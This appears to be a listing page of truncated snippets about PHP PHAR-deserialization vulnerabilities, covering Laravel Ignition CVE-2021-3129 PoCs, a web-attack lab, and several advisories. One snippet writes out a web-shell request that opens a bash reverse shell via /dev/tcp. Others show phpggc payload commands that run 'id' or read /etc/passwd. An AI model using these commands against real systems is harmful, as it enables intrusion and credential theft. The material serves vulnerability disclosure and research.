CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 Resumen de la vulnerabilidad Cuando Laravel tiene el modo Debug habilitado, debido al uso inseguro de las funciones filegetcontents y fileputcontents por parte del componente Ignition que viene con Laravel, un atacante puede desencadenar la deserialización ...

LKWA

LKWA Lesser Known Web Attack Lab está diseñado para pentesters intermedios que pueden probar y practicar ataques web menos conocidos como Object Injection, XSSI, PHAR Deserialization, variables variables, etc. Los write-ups son bienvenidos. Mi propio walk-through está aquí . Instalación - Local...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...

PrestaShop-CVE-2018-19126

Ejecución remota de código en el Back Office de PrestaShop CVE-2018-19126 Este es el PoC para CVE-2018-19126, que encadena múltiples vulnerabilidades en el Back Office de PrestaShop para provocar la deserialización a través de un phar y lograr la ejecución remota de código. Prerrequisito:...

laravel-exploits

laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...

laravel-exploits

laravel-exploits Exploit para CVE-2021-3129 Detalles: https://www.ambionics.io/blog/laravel-debug-rce Uso $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...

CVE-2026-45034

🧨 PHPSpreadsheet Phar Deserialization Exploit BypassprohibitWrappers + Remote Code Execution RCE on phpoffice/phpspreadsheet This repository provides a proof-of-concept PoC exploit for a critical vulnerability in the popular PHP library PHPSpreadsheet. The attack abuses the phar:// wrapper to...

PoC-for-CVE-2020-28948-CVE-2020-28949

POC para CVE-2020-28948 y CVE-2020-28949 Los archivos aquí contienen el PoC para CVE-2020-28948 y CVE-2020-28949 para lograr la explotación remota. El servidor La carpeta server contiene un servidor de subida simple que utiliza la librería vulnerable ArchiveTar, ubicada en server/Archive. El...

CVE-2021-3129

CVE-2021-3129 Exploit RCE de Laravel Ignition Este es un script de exploit en Python para CVE-2021-3129, una vulnerabilidad de ejecución remota de código en Laravel cuando el paquete Ignition está instalado. Esta vulnerabilidad permite a un atacante ejecutar comandos arbitrarios del sistema a...

CVE-2021-3129

CVE-2021-3129 — Laravel Ignition Ejecución Remota de Código CVSS 9.8 Crítico | Operaciones de archivo inseguras → Log Poisoning → Deserialización Phar → RCE Resumen Laravel Ignition -c "whoami" Referencias NVD — CVE-2021-3129 Parche de Ignition 2.5.2...

CVE-2021-3129

CVE-2021-3129 生成自定义命令的phar包： php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0 php -a 进入php命令行环境 $fp = fopen'php://output', 'w'; streamfilterappend$fp, 'convert.quoted-printable-encode'; $size = ""; fwrite$fp,...

CVE-2024-55187

Resumen Los parámetros administrativos sensibles no están suficientemente saneados, lo que permite a un atacante envenenar rutas a binarios del sistema. El atacante puede entonces subir archivos CSV peligrosos que pueden ser tratados como archivos PHAR que contienen metacaracteres de shell que...

GHSA-2XMM-M4WV-3FJH October CMS: Incomplete Scheme Validation in Image Resizer

The image resizer classified external sources by testing whether the source string began with the substring http, and the string-source branch in ResizeImageItem::fromObject accepted any value containing :// as a URL. As a result, non-https PHP stream wrappers such as phar://, file:// and ftp://...

October CMS: Incomplete Scheme Validation in Image Resizer

The image resizer classified external sources by testing whether the source string began with the substring http, and the string-source branch in ResizeImageItem::fromObject accepted any value containing :// as a URL. As a result, non-https PHP stream wrappers such as phar://, file:// and ftp://...

Exploit for CVE-2021-3129

CVE-2021-3129 — Laravel Ignition Remote Code Execution CVSS...

📄 PHPSpreadsheet 5.8.0 Remote Code Execution

PHPSpreadsheet version 5.8.0 suffers from a phar deserialization remote code execution vulnerability. ================================================================================================================================== | Title : PHPSpreadsheet 5.8.0 Phar Deserialization RCE | | Auth...

PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)

Summary pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist: php if 0 === \strpos$filename, 'phar://' throw new \InvalidArgumentException'The output file cannot be a phar archive.'; PHP stream wrappers are case-insensitive, so...

GHSA-2FMJ-P74R-3WJM PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)

Summary pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist: php if 0 === \strpos$filename, 'phar://' throw new \InvalidArgumentException'The output file cannot be a phar archive.'; PHP stream wrappers are case-insensitive, so...

CVE-2026-49286 PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)

PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc...

CVE-2026-49286

CVE-2026-49286 - PhpWeasyPrint : The library (prior to 2.6.0) guards the output filename against the phar:// stream wrapper with a case-sensitive blacklist. Because PHP stream wrappers are case-insensitive, inputs like PHAR://, Phar:// bypass the check and reach fileExists() in prepareOutput(), a...